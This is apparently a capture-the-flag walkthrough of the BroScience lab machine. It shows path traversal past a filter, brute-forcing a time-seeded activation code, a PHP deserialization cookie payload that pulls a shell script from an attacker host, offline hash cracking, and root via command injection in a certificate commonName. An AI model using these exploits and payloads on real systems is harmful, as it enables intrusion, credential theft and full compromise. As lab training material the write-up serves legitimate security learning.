Scannings

> TARGET=10.129.94.18 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.54
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/emailAddress=administrator@broscience.htb/localityName=Vienna
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/emailAddress=administrator@broscience.htb/localityName=Vienna
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after:  2023-07-14T19:48:36
| MD5:   5328ddd62f3429d11d26ae8a68d86e0c
| SHA-1: 20568d0d9e4109cde5a22021fe3f349c40d8d75b
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_ssl-date: TLS randomness does not represent time
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Domain: broscience.htb
  • Directory search (scanning http doesn’t give any response, use https)
> dirsearch -u https://broscience.htb
[03:20:21] 301 -  319B  - /images  ->  https://broscience.htb/images/       
[03:20:21] 200 -    2KB - /images/                                          
[03:20:22] 200 -    2KB - /includes/                                        
[03:20:22] 301 -  321B  - /includes  ->  https://broscience.htb/includes/
[03:20:22] 200 -    9KB - /index.php                                        
[03:20:22] 200 -    9KB - /index.php/login/                                 
[03:20:24] 301 -  323B  - /javascript  ->  https://broscience.htb/javascript/
[03:20:29] 200 -    2KB - /login.php                                        
[03:20:30] 302 -    0B  - /logout.php  ->  /index.php                       
[03:20:33] 200 -  676B  - /manual/index.html                                
[03:20:33] 301 -  319B  - /manual  ->  https://broscience.htb/manual/       
[03:20:51] 200 -    2KB - /register.php                                     
[03:20:56] 403 -  280B  - /server-status/                                   
[03:20:56] 403 -  280B  - /server-status                                    
[03:21:03] 301 -  319B  - /styles  ->  https://broscience.htb/styles/       
[03:21:12] 200 -    1KB - /user.php

> dirsearch -u https://broscience.htb/includes/ -e php -f -x 403
[03:33:09] 200 -  369B  - /includes/header.php                              
[03:33:13] 200 -   39B  - /includes/img.php                                 
[03:34:25] 200 -    0B  - /includes/utils.php
  • Subdomain enum, nothing useful
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://broscience.htb/" -H "Host: FUZZ.broscience.htb" --hl 146

000002182:   200        22 L     125 W      2193 Ch     "resource"
000002184:   200        22 L     125 W      2191 Ch     "test01"

Web Enum

  • Browsing to /includes/img.php gives an error, it requires a path parameter
> curl -k https://broscience.htb/includes/img.php
<b>Error:</b> Missing 'path' parameter.
  • This looks promising for LFI, however, there seems to be a WAF
> curl -k https://broscience.htb/includes/img.php?path=../../../../etc/passwd  
<b>Error:</b> Attack detected.
  • To bypass the WAF, use double url encoding, sometimes certain keywords are also filterd, so it’s better to encode all characters including alphanumeric characters.
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../../../../etc/passwd))
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
  • DB credential can be found
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/db_connect.php))

<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "R***************7";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>
  • Sending activation code is a missing feature
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../register.php))

// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
  • Learn how the activation code is generated
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/utils.php))

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

User activation: timing attack

  • From reading the generate_activation_code, there is a chance for timing attack because the unix timestamp of the server is used as the seed for generating the activation code. We can write a php code to generate a range (-500 to +500 around the received server time of account creation) of activation codes then bruteforce it to activate the newly created account.
  • Intercept the account register request in burpsuite and create a new account. Record the response time from the server. In the example here, the server response time is Sun, 08 Jan 2023 09:17:21 GMT
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2023 09:17:21 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2433
Connection: close
Content-Type: text/html; charset=UTF-8
  • Create a php script and generate a range of activation codes
<?php
function generate_activation_code($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($time);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
// find this from the above server response time
$ref_time = date("U",strtotime('Sun, 08 Jan 2023 09:17:21 GMT'));
for ($t = $ref_time - 500; $t <= $ref_time + 500; $t++)
    echo generate_activation_code($t)."\n";
?>
  • Run the script and use wfuzz to find the correct activation code
> php activate.php > codes.txt
> wfuzz -c -z file,codes.txt --hh 1256 https://broscience.htb/activate.php?code=FUZZ

000000501:   200        27 L     65 W       1251 Ch     "nbzQZMQa4GqWxdLutyjazolBDSGhobg0"
  • Now, the newly created account should be activated

Foothold

  • After login, note the cookie user-prefs, it’s a base64 encoded php serialized string O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}. This looks vulnerable to deserialization attacks, also evidented in includes/utils.php: get_theme reads the cookie and deserialize it, Avatar reads a file and save to local. So, we can utilise these to make the target read a shell script from us and then trigger the shell on the target.
# line 63
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

# line 95
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
  • To exploit, create a php script to generate a malicious payload for the cookie
<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://<attacker-ip>/w.php";
    public $imgPath = "./w.php";

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

echo base64_encode(serialize(new AvatarInterface));
?>
  • Run the script and paste the value into the cookie user-prefs
> php shell.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNDoiaHR0cDovLzEwLjEwLjE2LjcwL3cucGhwIjtzOjc6ImltZ1BhdGgiO3M6NzoiLi93LnBocCI7fQ==
  • Serve the script with http and refresh the browser. This will make the target load our shell script.
  • Then setup a netcat listener and browse to https://broscience.htb/w.php to trigger the shell.

User: bill

  • We have already obtained the db credentials from before. Login to db and get the user hashes
$ psql -U dbuser -h localhost -W -d broscience
Password:

\dt;
           List of relations
 Schema |   Name    | Type  |  Owner   
--------+-----------+-------+----------
 public | comments  | table | postgres
 public | exercises | table | postgres
 public | users     | table | postgres
(3 rows)

select * from users;
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
(5 rows)
  • These hashes are not directly crackable, read /register.php and see the following. The passwords are salted and luckily, we have the salt: NaCl
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
  • Format the hashes like below
15657792073e8a843d4f91f********1:NaCl
13edad4932da9dbb57d9cd1********4:NaCl
bd3dad50e2d578ecba87d5f********5:NaCl
a7eed23a7be6fe0d765197b********e:NaCl
5d15340bded5b9395d5d14b********b:NaCl
  • Run hashcat to crack the hashes
> hashcat -m 20 hash.txt rockyou.txt

13edad4932da9dbb57d9cd1********4:NaCl:i**************m
5d15340bded5b9395d5d14b********b:NaCl:A*************t
bd3dad50e2d578ecba87d5f********5:NaCl:2****************s
  • Login as bill via ssh to get the user flag

PE: root

  • Upload pspy64 and note there is a process that executes a script at /opt/renew_cert.sh as root
timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
  • Examine the script at /opt/renew_cert.sh. It checks for a certificate and if it’s going to expire in a day, it will renew it. Many of these fields are vulnerable to command injection attack. Yet some of them would have character limit when creating the certificate. Hence the best choice to attack is commonName.
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
  • Generate a certificate with a command injection payload
bill@broscience:~$ cd Certs/
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1
Generating a RSA private key
...................................................++++
....................................................................................................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod +s /usr/bin/bash)
Email Address []:
  • Wait a while and prompt to root and get the root flag
bill@broscience:~/Certs$ bash -p
bash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) egid=0(root) groups=0(root),1000(bill)
bash-5.1# cat /root/root.txt